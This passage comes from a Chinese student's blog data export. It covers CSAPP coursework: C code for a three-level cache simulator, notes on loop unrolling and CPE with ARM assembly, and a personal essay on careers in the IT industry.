L3_LINE_NUM; ++index) { // l3缓存命中 if (l3ucache[setIndex3][index].valid \u0026amp;\u0026amp; l3ucache[setIndex3][index].tag == tag3) { ++timeStamp; l3ucache[setIndex3][index].latest_used = timeStamp; ++l3_hits; fetchl3tol2(setIndex2, tag2, INSTRUCTION); fetchl2tol1i(setIndex1, tag1); return; } } // 到这里证明l3没有命中，要从缓存中取值加载到三层里面去 ++l3_misses; // 找要驱逐的L3的地址 fetchMemoryTol3(setIndex3, tag3, INSTRUCTION); fetchl3tol2(setIndex2, tag2, INSTRUCTION); fetchl2tol1i(setIndex1, tag1); // 理论上到这里取值令的过程已经结束 } // 读取数据的问题,读取数据和读取指令是否是类似的 void load(uint64_t addr) { // 先访问第一级Cache,处理addr uint64_t tag1 = (addr \u0026gt;\u0026gt; (L1S + L1B)); uint64_t setIndex1 = ((addr \u0026gt;\u0026gt; L1B) \u0026amp; 0b11); uint64_t tag2 = (addr \u0026gt;\u0026gt; (L2S + L2B)); uint64_t setIndex2 = ((addr \u0026gt;\u0026gt; L2B) \u0026amp; 0b111); uint64_t tag3 = (addr \u0026gt;\u0026gt; (L3S + L3B)); uint64_t setIndex3 = ((addr \u0026gt;\u0026gt; L3B) \u0026amp; 0b1111); // 根据拿到的数据看第一级有没有命中 for (int index = 0; index \u0026lt; L1_LINE_NUM; ++index) { // 合法并且tag相同，就是命中 if (l1dcache[setIndex1][index].valid \u0026amp;\u0026amp; l1dcache[setIndex1][index].tag == tag1) { // 命中之后的处理 ++timeStamp; ++l1d_hits; l1dcache[setIndex1][index].latest_used = timeStamp; return; } } ++l1d_misses; for (int index = 0; index \u0026lt; L2_LINE_NUM; ++index) { // l2中缓存命中 if (l2ucache[setIndex2][index].valid \u0026amp;\u0026amp; l2ucache[setIndex2][index].tag == tag2) { ++timeStamp; l2ucache[setIndex2][index].latest_used = timeStamp; ++l2_hits; fetchl2tol1d(setIndex1, tag1); return; } } // 到这里证明l2没有命中，在l3中找 ++l2_misses; for (int index = 0; index \u0026lt; L3_LINE_NUM; ++index) { // l3缓存命中 if (l3ucache[setIndex3][index].valid \u0026amp;\u0026amp; l3ucache[setIndex3][index].tag == tag3) { ++timeStamp; l3ucache[setIndex3][index].latest_used = timeStamp; ++l3_hits; fetchl3tol2(setIndex2, tag2, DATA); fetchl2tol1d(setIndex1, tag1); return; } } // 到这里证明l3没有命中，要从缓存中取值加载到三层里面去 ++l3_misses; // 找要驱逐的L3的地址 fetchMemoryTol3(setIndex3, tag3, DATA); fetchl3tol2(setIndex2, tag2, DATA); fetchl2tol1d(setIndex1, tag1); } // 重点逻辑：写入内存的实现 // 先fetch这个cacheline，接着才进行改动，我这里成了先改动，再fecth上去，肯定是不行的 // 简单来说，写入操作是不会影响L2和L3的 void store(uint64_t addr) { // 先列出所有可能要访问的数据 uint64_t tag1 = (addr \u0026gt;\u0026gt; (L1S + L1B)); uint64_t setIndex1 = ((addr \u0026gt;\u0026gt; L1B) \u0026amp; 0b11); uint64_t tag2 = (addr \u0026gt;\u0026gt; (L2S + L2B)); uint64_t setIndex2 = ((addr \u0026gt;\u0026gt; L2B) \u0026amp; 0b111); uint64_t tag3 = (addr \u0026gt;\u0026gt; (L3S + L3B)); uint64_t setIndex3 = ((addr \u0026gt;\u0026gt; L3B) \u0026amp; 0b1111); // 写l1d for (int index = 0; index \u0026lt; L1_LINE_NUM; ++index) { // l1d write hit if (l1dcache[setIndex1][index].valid \u0026amp;\u0026amp; l1dcache[setIndex1][index].tag == tag1) { ++l1d_hits; ++timeStamp; l1dcache[setIndex1][index].latest_used = timeStamp; l1dcache[setIndex1][index].dirty = true; return; } } // l1d write misses ++l1d_misses; // 在L2中写 for (int index = 0; index \u0026lt; L2_LINE_NUM; ++index) { // l2 write hit if (l2ucache[setIndex2][index].valid \u0026amp;\u0026amp; l2ucache[setIndex2][index].tag == tag2) { // L2写命中，我先把这个位置加载回l1d，接着才进行dirty的修改，写命中时，首先更改一下lru ++l2_hits; ++timeStamp; l2ucache[setIndex2][index].latest_used = timeStamp; fetchl2tol1d(setIndex1, tag1); for (int i = 0; i \u0026lt; L1_LINE_NUM; ++i) { // 在fetch了之后，此时这里的lru已经发生了改变，所以是不是不用再进行更改? // 应该是的 if (l1dcache[setIndex1][i].valid \u0026amp;\u0026amp; l1dcache[setIndex1][i].tag == tag1) { l1dcache[setIndex1][i].dirty = true; return; } } } } // l2u write misses ++l2_misses; for (int index = 0; index \u0026lt; L3_LINE_NUM; ++index) { // l3 write hit if (l3ucache[setIndex3][index].valid \u0026amp;\u0026amp; l3ucache[setIndex3][index].tag == tag3) { ++l3_hits; ++timeStamp; l3ucache[setIndex3][index].latest_used = timeStamp; fetchl3tol2(setIndex2, tag2, DATA); fetchl2tol1d(setIndex1, tag1); for (int i = 0; i \u0026lt; L1_LINE_NUM; ++i) { if (l1dcache[setIndex1][i].valid \u0026amp;\u0026amp; l1dcache[setIndex1][i].tag == tag1) { l1dcache[setIndex1][i].dirty = true; return; } } } } // l3u write miss,在内存中写，然后直接加载上去，是否正确,显然错误 ++l3_misses; fetchMemoryTol3(setIndex3, tag3, DATA); fetchl3tol2(setIndex2, tag2, DATA); fetchl2tol1d(setIndex1, tag1); // 在fetch完了之后，在set1中找要写的值，接着写入即可 for (int i = 0; i \u0026lt; L1_LINE_NUM; ++i) { if (l1dcache[setIndex1][i].valid \u0026amp;\u0026amp; l1dcache[setIndex1][i].tag == tag1) { l1dcache[setIndex1][i].dirty = true; return; } } } // you are not allowed to modify the declaration of this function /*cacheAccess函数接受三个参数，参数的定义为： * 而且我们不考虑byte的个数，我们这个函数只是模拟访问内存的操作，不实际读写数据 *@params op 为访问类型，是一个char类型的参数，具体取值和trace文件中的类型相同，为[I, S, L，M]其中的一个。 *@params addr 为访问地址，它是trace文件中的地址的十进制表示的结果,64位16进制内存地址 *@params len 为一次访问的长度，也就是字节数量 * 思考过程： * 1.怎么处理地址？要根据不同缓存级别的组数用不同的方式来解读地址么？然后剩下的位都是tag标志 * 2.I是指令加载的过程，和数据读取类似，但是一级缓存中只能从L1I中来读取指令数据 * 3.M修改数据，就是一次Load加上一次Store Load：就是读取 Store：就是写入数据 * 4.代码框架大概是怎样的？一个对应的指令实现一个功能？ */ void cacheAccess(char op, uint64_t addr, uint32_t len) { switch (op) { case \u0026#39;I\u0026#39;: instruct(addr); break; case \u0026#39;M\u0026#39;: load(addr); store(addr); break; case \u0026#39;L\u0026#39;: load(addr); break; case \u0026#39;S\u0026#39;: store(addr); break; default: break; } } ","date":"2025-04-13","externalUrl":null,"permalink":"/zh-cn/csapp/csappcachelab/","section":"","summary":"\u003ch1 class=\"relative group\"\u003eCSAPP:CacheLab \n    \u003cdiv id=\"csappcachelab\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#csappcachelab\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e本次lab分为A和B两部分，我先看情况做，并且会部分引用我校助教撰写的一些内容以及思考题，首先我们要熟悉一下Cache的工作原理，关于这一部分的内容，你也可以看我的ComputerOrgnization中的内容（写的不怎么样，你最好还是看课本，而且我还建议你做一下课本上的习题），A部分是实现一个3级Cache，实现的过程中我们应当会对Cache的工作原理更加熟悉，B部分是优化矩阵转置函数，我认为会教会我们什么是Cahce友好的代码。\u003c/p\u003e\n\u003cp\u003e注意：以下不会从零开始讲述Cache的知识，并且\u003cstrong\u003e不要抄袭，不要抄袭，不要抄袭\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003eCache:计算机的世界无处不在的伟大思想\u0026hellip;\u0026hellip;\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e熟悉：\u003c/p\u003e","title":"CSAPP:CacheLab","type":"csapp"},{"content":" CSAPP:OptimizationLab # 本次实验我们来优化一段计算多项式值的代码，并且亲自测量其性能，希望能加深同学们对机器特定优化的理解，同时为同学们提供测量性能的经验。\n基本材料都引用于我校的CSAPP实验指导书页面。\n同时也是考试的复习笔记。\n预习：\n我们代码优化时遇到的问题：\n1.函数调用，不要循环一次调用一次，可以尝试多使用中间变量。\u0026mdash;》代码移动\n2.内存别名，一个内存位置可以被两种名称同时来访问造成问题。\n3.多次调用函数，是否可以直接乘？\n[!WARNING]\n​\t这实际上也是一个相当常见的误区，比如Java的Iterator迭代的时候造成的问题，我们要关注函数具体的内容，函数每次的调用是否会产生一种“持久性”或者“累积性”的影响。\n我们先明确几个概念\nCPE # 处理一个数据元素要多少个时钟周期。\n比如上图，有一个函数对于一个数组的每个元素进行一些重复的操作，那么就可以计算每个元素消耗了多少时钟周期，这就是CPE。\n把数组长度n作为自变量，消耗的cycles作为因变量，那么就可以画出一条曲线，曲线的斜率就是CPE。\nLatency bound # 延迟受限\n如下，当存在数据依赖的时候，计算下一次结果时必须等待上一次计算完毕，这个时间没办法减少，就叫latency bound。\n那么CPE的下界就是一次浮点乘法运算的时间。\ndouble product(double a[], long n) { long i; double x = 1.0; for (i = 0; i \u0026lt; n; ++i) { x *= a[i]; } return x; } Throughput bound # 吞吐受限\n没有依赖的问题，单次进行的用时较短，但是用来并发处理的执行单元较少带来的下界。\n循环展开 # 要突破Latency bound到Throughput bound，就要消除数据依赖的问题。\n2*1展开 # 消除了分支预测，但是还有数据依赖。\nfor (i = 0; i \u0026lt; limit; i+=2) { x = (x OP d[i]) OP d[i+1]; } 2*1a展开 # 这样就使得依赖的路径变短。\n这就是重新结合变换。\nOP为加法的时候是没有作用的。\nfor (i = 0; i \u0026lt; limit; i+=2) { x = x OP (d[i] OP d[i+1]); } 2*2展开 # 这里有两个累积乘积的变量，能让他们在两条流水线上执行。\nfor (i = 0; i \u0026lt; limit; i+=2) { x0 = x0 OP d[i]; x1 = x1 OP d[i+1]; } K*K展开 # 我们可以用这样比较夸张的展开手法，但是当你用的局部变量过多的时候，寄存器就不够用了，内存读写就会成为新的Bound。\ndouble product(double a[], long n) { long i; double acc1 = 1.0; double acc2 = 1.0; double acc3 = 1.0; double acc4 = 1.0; double acc5 = 1.0; double acc6 = 1.0; double acc7 = 1.0; double acc8 = 1.0; double acc9 = 1.0; double acc10 = 1.0; for (i = 0; i + 9 \u0026lt; n; i += 10) { acc1 *= a[i]; acc2 *= a[i + 1]; acc3 *= a[i + 2]; acc4 *= a[i + 3]; acc5 *= a[i + 4]; acc6 *= a[i + 5]; acc7 *= a[i + 6]; acc8 *= a[i + 7]; acc9 *= a[i + 8]; acc10 *= a[i + 9]; } acc1 *= acc2; acc3 *= acc4; acc5 *= acc6; acc7 *= acc8; acc9 *= acc10; acc1 *= acc3; acc5 *= acc7; for (; i \u0026lt; n; ++i) { acc9 *= a[i]; } return acc1 * acc5 * acc9; } PartA:性能测量实验 # void poly(const double a[], double x, long degree, double *result) { long i; double r = a[degree]; for (i = degree - 1; i \u0026gt;= 0; i--) { r = a[i] + r * x; } *result = r; } 这是用秦九韶算法实现了求一个函数在某个点处的值的功能。\n我想测量这个函数的CPE。\n我们能使用的函数有很多，最推荐的是clock_gettime，它可以精确到纳秒级（至少单位是纳秒级），并且可以选取不同的时钟源。\n注意：在测量这个函数用时多少的时候，最好在一开始首先执行一遍你要测量的函数，这样cache中会存放这些调用时要使用的数据，不会引发大量的cachemiss引入不必要的噪声。\n代码很简单：\nvoid measure_time(poly_func_t poly, const double a[], double x, long degree, double *time) { double result = 0; poly(a, x, degree, \u0026amp;result); struct timespec start, end; clock_gettime(CLOCK_MONOTONIC, \u0026amp;start); poly(a, x, degree, \u0026amp;result); clock_gettime(CLOCK_MONOTONIC, \u0026amp;end); (*time) = end.tv_nsec - start.tv_nsec; } PartB：代码优化实验 # 针对于上面的这个多项式算法，我们有什么优化的方法，我想大概也就是循环展开之类的，来试试看!\n我们的目的是要把这个函数的CPE降低到1。\n我们根据现有的代码进行了一个更改，对于原函数进行12*12的循环展开。\nvoid poly_optim(const double a[], double x, long degree, double *result) { // 此时和秦九公式已经没有关系了，我们想办法最快算出答案即可。 double acc[12]; double xpow[13]; // 记录系数 acc[0] = a[degree]; acc[1] = a[degree - 1]; acc[2] = a[degree - 2]; acc[3] = a[degree - 3]; acc[4] = a[degree - 4]; acc[5] = a[degree - 5]; acc[6] = a[degree - 6]; acc[7] = a[degree - 7]; acc[8] = a[degree - 8]; acc[9] = a[degree - 9]; acc[10] = a[degree - 10]; acc[11] = a[degree - 11]; // 使用x的哪些幂 xpow[2] = x * x; xpow[3] = xpow[2] * x; xpow[4] = xpow[3] * x; xpow[5] = xpow[4] * x; xpow[6] = xpow[5] * x; xpow[7] = xpow[6] * x; xpow[8] = xpow[7] * x; xpow[9] = xpow[8] * x; xpow[10] = xpow[9] * x; xpow[11] = xpow[10] * x; xpow[12] = xpow[6] * xpow[6]; // 从倒数12个开始向前进行累积 int index = degree - 12; // int index = degree - 10; while (index \u0026gt;= 11) { acc[0] = a[index] + acc[0] * xpow[12]; acc[1] = a[index - 1] + acc[1] * xpow[12]; acc[2] = a[index - 2] + acc[2] * xpow[12]; acc[3] = a[index - 3] + acc[3] * xpow[12]; acc[4] = a[index - 4] + acc[4] * xpow[12]; acc[5] = a[index - 5] + acc[5] * xpow[12]; acc[6] = a[index - 6] + acc[6] * xpow[12]; acc[7] = a[index - 7] + acc[7] * xpow[12]; acc[8] = a[index - 8] + acc[8] * xpow[12]; acc[9] = a[index - 9] + acc[9] * xpow[12]; acc[10] = a[index - 10] + acc[10] * xpow[12]; acc[11] = a[index - 11] + acc[11] * xpow[12]; index -= 12; } // 处理剩下没有计算到的部分 long remain = (degree + 1) % 12; long rest_index = remain; double remainValue = 0; while (rest_index \u0026gt; 0) { remainValue *= x; remainValue += a[rest_index - 1]; --rest_index; } //相当于是一种位移,先把他们之间分开 double remain1 = acc[0] * xpow[11]; double remain2 = acc[1] * xpow[10]; double remain3 = acc[2] * xpow[9]; double remain4 = acc[3] * xpow[8]; double remain5 = acc[4] * xpow[7]; double remain6 = acc[5] * xpow[6]; double remain7 = acc[6] * xpow[5]; double remain8 = acc[7] * xpow[4]; double remain9 = acc[8] * xpow[3]; double remain10 = acc[9] * xpow[2]; double remain11 = acc[10] * x + acc[11]; double mainPart = remain1 + remain2 + remain3 + remain4 + remain5 + remain6 + remain7 + remain8 + remain9 + remain10 + remain11; //接着整体向后移位 index = 0; //----------------------------------------------------------------------------------------------------------- // //\t这里我有一个惨痛的教训： //\t我一开始很长时间把下边循环的限制量写成了rest_index,但是rest_index在上面早就减为0,循环不会再继续 //\t而这里对于答案造成的影响本来就非常非常小，导致我认为是上面的乘法和加法的精度上出了问题，于是浪费了很多时间在更改分块大小观察精度上 //\t直到最后才看到这里出了问题：写的代码再多，有时也会犯这样的错误 //\t1.务必起一个好的变量名，让人知道在干嘛，哪怕是简单的程序 //\t2.想清楚自己在写什么东西，如果是限制量，搞清楚它的大小 // //----------------------------------------------------------------------------------------------------------- while(index \u0026lt; remain){ mainPart *= x; ++index; } (*result) = remainValue + mainPart; } 思考问题： # 为什么这样更改这个函数的CPE就是1？我就是自己随便想一下，你可以把你的见解放在评论区，说实话我也想不清楚\u0026hellip;\u0026hellip;\n1.如果使用 poly() 同时计算多项式在两个x处的值，运行时间如何？14个值呢？需要计算 14 个值时，使用一次 poly() 同时计算快，还是调用14次 poly_optim() 快？\nvoid poly(const double a[], double x[], long degree, double result[], int n) { long i; double r[n]; memset(r, a[degree]); for (i = degree - 1; i \u0026gt;= 0; i--) { r[0] = a[i] + r[0] * x; r[1] = a[i] + r[1] * x; } for (int index = 0; index \u0026lt; n; ++index){ result[index] = r[index]; } } Q：可能是把参数作为一个数组传入poly()进行计算，在poly中传入一个x数组，还是只有一个循环的情况下，我们进行计算（大概就是上面这个意思），同时计算两个的时候，应该比调用两次poly计算更快，但没有解决依赖的问题。我觉得在degree比较高的时候，是否还是调用14次函数更快。\n2.为什么优化后的函数 CPE 是 1 而不是 0.5，性能瓶颈在哪里?\nQ：1.o对于这个函数来说是否已经是理论峰值？\n以下是优化生成的汇编代码：\n.arch armv8-a .file\t\u0026#34;poly.c\u0026#34; .text .align\t2 .global\tpoly_optim .type\tpoly_optim, %function poly_optim: .LFB0: .cfi_startproc stp\td8, d9, [sp, -64]! .cfi_def_cfa_offset 64 .cfi_offset 72, -64 .cfi_offset 73, -56 stp\td10, d11, [sp, 16] stp\td12, d13, [sp, 32] str\td14, [sp, 48] .cfi_offset 74, -48 .cfi_offset 75, -40 .cfi_offset 76, -32 .cfi_offset 77, -24 .cfi_offset 78, -16 mov\tx5, x0 ldr\td24, [x0, x1, lsl 3] add\tx0, x0, x1, lsl 3 ldr\td23, [x0, -8] ldr\td22, [x0, -16] ldr\td21, [x0, -24] ldr\td20, [x0, -32] ldr\td19, [x0, -40] ldr\td18, [x0, -48] ldr\td17, [x0, -56] ldr\td16, [x0, -64] ldr\td7, [x0, -72] ldr\td6, [x0, -80] ldr\td5, [x0, -88] ldr\td4, [x0, -96] ldr\td3, [x0, -104] ldr\td26, [x0, -112] fmul\td27, d0, d0 fmul\td28, d27, d0 fmul\td29, d28, d0 fmul\td30, d29, d0 fmul\td31, d30, d0 fmul\td8, d31, d0 fmul\td9, d8, d0 fmul\td10, d9, d0 fmul\td11, d10, d0 fmul\td12, d11, d0 fmul\td13, d12, d0 fmul\td14, d13, d0 fmul\td2, d14, d0 fmul\td1, d2, d0 sub\tw4, w1, #15 cmp\tw4, 13 ble\t.L2 add\tx3, x5, w4, sxtw 3 .L3: fmul\td24, d1, d24 ldr\td25, [x3] fadd\td24, d24, d25 fmul\td23, d1, d23 ldr\td25, [x3, -8] fadd\td23, d23, d25 fmul\td22, d1, d22 ldr\td25, [x3, -16] fadd\td22, d22, d25 fmul\td21, d1, d21 ldr\td25, [x3, -24] fadd\td21, d21, d25 fmul\td20, d1, d20 ldr\td25, [x3, -32] fadd\td20, d20, d25 fmul\td19, d1, d19 ldr\td25, [x3, -40] fadd\td19, d19, d25 fmul\td18, d1, d18 ldr\td25, [x3, -48] fadd\td18, d18, d25 fmul\td17, d1, d17 ldr\td25, [x3, -56] fadd\td17, d17, d25 fmul\td16, d1, d16 ldr\td25, [x3, -64] fadd\td16, d16, d25 fmul\td7, d1, d7 ldr\td25, [x3, -72] fadd\td7, d7, d25 fmul\td6, d1, d6 ldr\td25, [x3, -80] fadd\td6, d6, d25 fmul\td5, d1, d5 ldr\td25, [x3, -88] fadd\td5, d5, d25 fmul\td4, d1, d4 ldr\td25, [x3, -96] fadd\td4, d4, d25 fmul\td3, d1, d3 ldr\td25, [x3, -104] fadd\td3, d3, d25 fmul\td26, d1, d26 ldr\td25, [x3, -112] fadd\td26, d26, d25 sub\tw4, w4, #15 sub\tx3, x3, #120 cmp\tw4, 13 bgt\t.L3 .L2: add\tx3, x1, 1 mov\tx1, -8608480567731124088 movk\tx1, 0x8889, lsl 0 smulh\tx1, x3, x1 add\tx1, x1, x3 asr\tx1, x1, 3 sub\tx0, x1, x3, asr 63 lsl\tx1, x0, 4 sub\tx0, x1, x0 sub\tx0, x3, x0 cmp\tx0, 0 ble\t.L8 mov\tx1, x0 movi\td25, #0 sub\tx3, x5, #8 .L5: fmul\td25, d0, d25 ldr\td1, [x3, x1, lsl 3] fadd\td25, d25, d1 subs\tx1, x1, #1 bne\t.L5 .L4: fmul\td1, d2, d24 fmul\td14, d14, d23 fadd\td1, d1, d14 fmul\td13, d13, d22 fadd\td1, d1, d13 fmul\td12, d12, d21 fadd\td1, d1, d12 fmul\td11, d11, d20 fadd\td1, d1, d11 fmul\td10, d10, d19 fadd\td1, d1, d10 fmul\td9, d9, d18 fadd\td1, d1, d9 fmul\td8, d8, d17 fadd\td1, d1, d8 fmul\td31, d31, d16 fadd\td1, d1, d31 fmul\td30, d30, d7 fadd\td1, d1, d30 fmul\td29, d29, d6 fadd\td1, d1, d29 fmul\td28, d28, d5 fadd\td1, d1, d28 fmul\td27, d27, d4 fadd\td1, d1, d27 fmul\td3, d0, d3 fadd\td3, d3, d26 fadd\td1, d1, d3 cmp\tx0, 0 ble\t.L6 mov\tw1, 0 .L7: fmul\td1, d1, d0 add\tw1, w1, 1 cmp\tw1, w0 bne\t.L7 .L6: fadd\td25, d25, d1 str\td25, [x2] ldp\td10, d11, [sp, 16] ldp\td12, d13, [sp, 32] ldr\td14, [sp, 48] ldp\td8, d9, [sp], 64 .cfi_remember_state .cfi_restore 73 .cfi_restore 72 .cfi_restore 78 .cfi_restore 76 .cfi_restore 77 .cfi_restore 74 .cfi_restore 75 .cfi_def_cfa_offset 0 ret .L8: .cfi_restore_state movi\td25, #0 b\t.L4 .cfi_endproc .LFE0: .size\tpoly_optim, .-poly_optim .align\t2 .global\tmeasure_time .type\tmeasure_time, %function 全部都是寄存器操作已经避免了内存读写的开销，我们也没有更多的乘法处理单元？\n问题：SIMD化是什么？\n","date":"2025-04-10","externalUrl":null,"permalink":"/zh-cn/csapp/csappoptimizationlab/","section":"","summary":"\u003ch1 class=\"relative group\"\u003eCSAPP:OptimizationLab \n    \u003cdiv id=\"csappoptimizationlab\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#csappoptimizationlab\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e本次实验我们来优化一段计算多项式值的代码，并且亲自测量其性能，希望能加深同学们对机器特定优化的理解，同时为同学们提供测量性能的经验。\u003c/p\u003e\n\u003cp\u003e基本材料都引用于我校的CSAPP实验指导书页面。\u003c/p\u003e\n\u003cp\u003e同时也是考试的复习笔记。\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e\u003cstrong\u003e预习：\u003c/strong\u003e\u003c/p\u003e","title":"CSAPP:OptimizationLab","type":"csapp"},{"content":" 关于IT行业的看法（IT另解笔记） # 1.学历在CS的行业不会成为任何优势（但是它重要），过硬的技术和能力才是，记清楚这一点，才不会盲目。请勿再将未来的希望寄托在你所在的学校身上了，你的一切，你的兴趣，都要自己费力去追寻\u0026hellip;\u0026hellip;\n2.Caution!本篇博文是强烈带有主观意见的意识流笔记，部分观点可能跟不上时代（2021年），并且不代表笔者的全部观点，但是希望能对于在校的尚对于目标不明确的学生带来一些帮助，视频来源（https://space.bilibili.com/19658621），顺带推荐一下他的C语言视频，如果你还没有学过，或者已经工作但是有进一步理解的需要，学习一下这个视频，会颠覆你对于POP编程的认知。\n3.随着我个人的阅历和经验的增长，我会不断更新这个文章的内容，直到它能够替代我对于这个行业的全部看法而不是简单的视频笔记，我个人的看法就是纯主观的，一个人或者一个组织都不可能给出所谓的“纯粹理性客观”这样的观点，如果真的是这样，那么很多历史怎么会被改写？总之，希望能帮助到你一点的同时也能满足我的分享欲。\n要明确的几个点 # 专业不是职业。\n比赛有什么用？没用\n企业合作类比赛 （目的是为了赚钱）\n对自己有没有提升 占不占时间\n不耽误时间 顺带拿奖可以去\n关键是通用技术的掌握 进实验室？为优秀的学生提供好的资源\n自行斟酌！！！ACM大赛（高中没学过的话，感觉大学很难融入，人家一开始就形成小圈子，要么就是你一开始就真的很感兴趣，然后花大量的时间去学习相关内容，也可以，主动一点才会有故事。）\n教育的目的不是诺奖，体育的目的不是金牌。\n切莫相信个人的经验判断：\n没有人可以被模仿 人只能塑造自己的人生\n人只能关注自己的人生。\n如果绩点都变成了一种值得骄傲与吹嘘的东西，那么，你的大学都学到了什么，你和备战高考的高中生又有什么区别，搞清楚这一点，学到东西，理解到东西，别你绩点高的人，在对于知识的理解上，可能还远远不如你。（这是真的）\n少听故事 多听现实和分析问题的方法 少关注别人的经历\n没有人能够准确地预测未来。\n对于后端程序员来说，计算机网络以及操作系统的理论是否重要。（应对面试）\n操作系统理论：尽可能去理解，值得深度学习。（深度了解操作系统）\n（数据结构本后的本质）\n教材只具有参考的意义，只有辅助的作用。看论文，有突破性的操作系统，前沿，作为后端的底盘。\n大二大三，实习？ # 校园招聘，针对于实习生（Microsoft，Google）申请实习，尽可能走校招（因为我没有什么经验） 社会招聘：有经验的人。 项目是很难的，产品，设计师，用户，开发流程，团队协作精神。。。项目有多少人在用？迭代版本？（工作当中的实际问题，开发的过程，称之为项目和经验，进入企业，才算社会的经验。）\n校园招聘： 良好的通用技术基础。\n\u0026amp;实习生入职一般会被分配什么样的工作。（技术底层越强，任务越核心）\n大厂 中小厂（有可能直接安排到核心职位，有可能没有考核）\nPS: 普通编程任务 小模块 （协作开发）目的：了解公司的开发流程\n培养实际项目经验 技术支持类（协助测试）\nIT类出国学习 # 要不要留学？经济基础 美国太贵 日本 新加坡 英国1.5年（50W）\n不错的经历 留在外面，能不能拿到国家的绿卡？是否会被迫回国。\n奖学金 保研 值不值得？ # 能拿就拿，拿不了拉倒。 （目标是为了获得知识）\n保研 概率问题 不要盲目追求 真正需要研究生的人不需要保研，为什么保研？\n没有清楚自己的人生目的，我不知道研究生有什么用，先保研吧？？？\n自己不知道自己在干什么，嫉妒心，想尽办法争取保研的名额。争取攀登更高山峰的人，反而更能留下保研的可能，有目标的人，不会拘泥于此。\nIT行业的学历重不重要 # 学历很重要，能力很强，不需要学历（另说）\n有着学历的下限就可以（本科）技术上限\n工作好，是因为进的企业好，不是因为学历高。在什么公司担任什么样的工作，薪资和工作不是由学历决定的，是由公司决定的。\nIT技术的发展迭代问题 # 进化论，自然选择学说，没有什么东西是绝对稳定的，没有绝对稳定的工作。\n按键机——》触屏手机 国产手机 全部 系统基于Android系统\n（包括鸿蒙（Harmony OS）系统，基于Android系统，因其开源）\n渐变式的进化 对于技术来说是一样的 Microsoft Typescript基于Javascript\n所以要学习通用技术。（java py go c?）都是工具而已，类似物种间的竞争。\n都是面向对象的思想\n（误区：最多的东西不一定是趋势，很少人能够预料到趋势，流行不是趋势。）\nInter IMD Microsoft和Mac OS 滚轮不相同，形成差异化。C#\n物种的分化，苹果电脑-苹果-Mac touch-。。。\n所有的物种都会灭绝和衰落，不存在绝对稳定的工作与技术 机组原理 数据结构等等都短时间内难再有突破\n谈一谈Python # 语言不能让你就业。\n不要想着一门语言就能找到工作。\n什么样的人去学：非计算机专业，会计\u0026hellip;\u0026hellip;\n人工智能是一个学科，其中的诸多框架是由C++实现的，python也只是写了一些脚本。CS学的东西相当多，语言只是一个工具，语言不是学科。大数据中最多的是java，人智最多是C++，数据分析JS，大脑是不限制语言的，语言也不能和职业扯上关系，主JAVA后端，主GOLANG后端，和职位有关，语言不能决定任何事情，不要纠结语言，不要纠结框架，库，算法底层，数据结构，架构，解决方案，软件构件，编程的艺术！！！（从低到高的一种程序员的排序）\n炒的很火，广告，培训机构，少儿编程。。。（钻石的价格为什么贵）\n解析性语言，2021年，python不好找工作对于开发人员来说，Python web，性能远远低于上述的语言，尤其不适合并发的项目，不是最优选择，容易出现性能问题，需要的岗位有但不多，认识清楚这样一点。\n如何跟进技术迭代 # 关注技术趋势的发展（元宇宙？）\n人工智能未来几年要解决的问题，前端（微前端）关注全球的会议\n国外的期刊之类，重要技术的迭代，培训，投资学习\n与行内业界认识专家合作，了解不同见解？云计算（尚早）\n利用开源社区 GitHub。。。使用的技术尽可能符合趋势发展\n（足够好的英文） 雅思6.0\n考试和实际应用的差异，研究考试。\n技术的目标：更快，更容易使用，更便宜。\n硬件的目标：更加小巧，便于使用。\n人工智能是否能够取代人类的工作 # 基本是完全是可能的，取代是趋势，包括程序员的工作。\n尽可能去追求艺术性的生活，在人工智能取代人类工作的时代，（人应该去享受幸福的生活与创作？） 目前人工智能处于停滞的状态，目前没有替代的能力，没有同理心判决的能力。\u0026mdash;李开复\n艺术的创作，基于个人主义（AI作画） 人类的发展基于人类的个性，人工智能不具备个人意识的能力（目前的情况）。\n人类社会的本质是为了文明的延续，不报乐观或者悲观的心态，基于客观的事实。（科学是将目光真切的看向每一个人）\n计算机系考研问题 # 人不可能攀登他不知道的高峰，还是明确的目的。很多人考研，保研是没有目的的行为，先考个研究生吧，不知道未来想干什么。\n大学生要有自我思考的能力，不能一味的跟风，寻找自己的目标，打开窗子看一看。多自己分析现实情况，问的人应当是自己理想的职位，请教正确的人，才可能获取正确的指导。（你应该干什么，你去干什么？？？老师学长学姐？？？）\n这个世界上没有学习能力的人都去当老师了。\n根据职业来决定，中国开设人智的大学就几个，该领域还是相当差。\n实事求是，不如别的国家。\n现在我们国家有了DeepSeek，但是我还是请大家仔细思考，这和你在大学对于道路的选择有什么关系？\n非群体判断标准 # 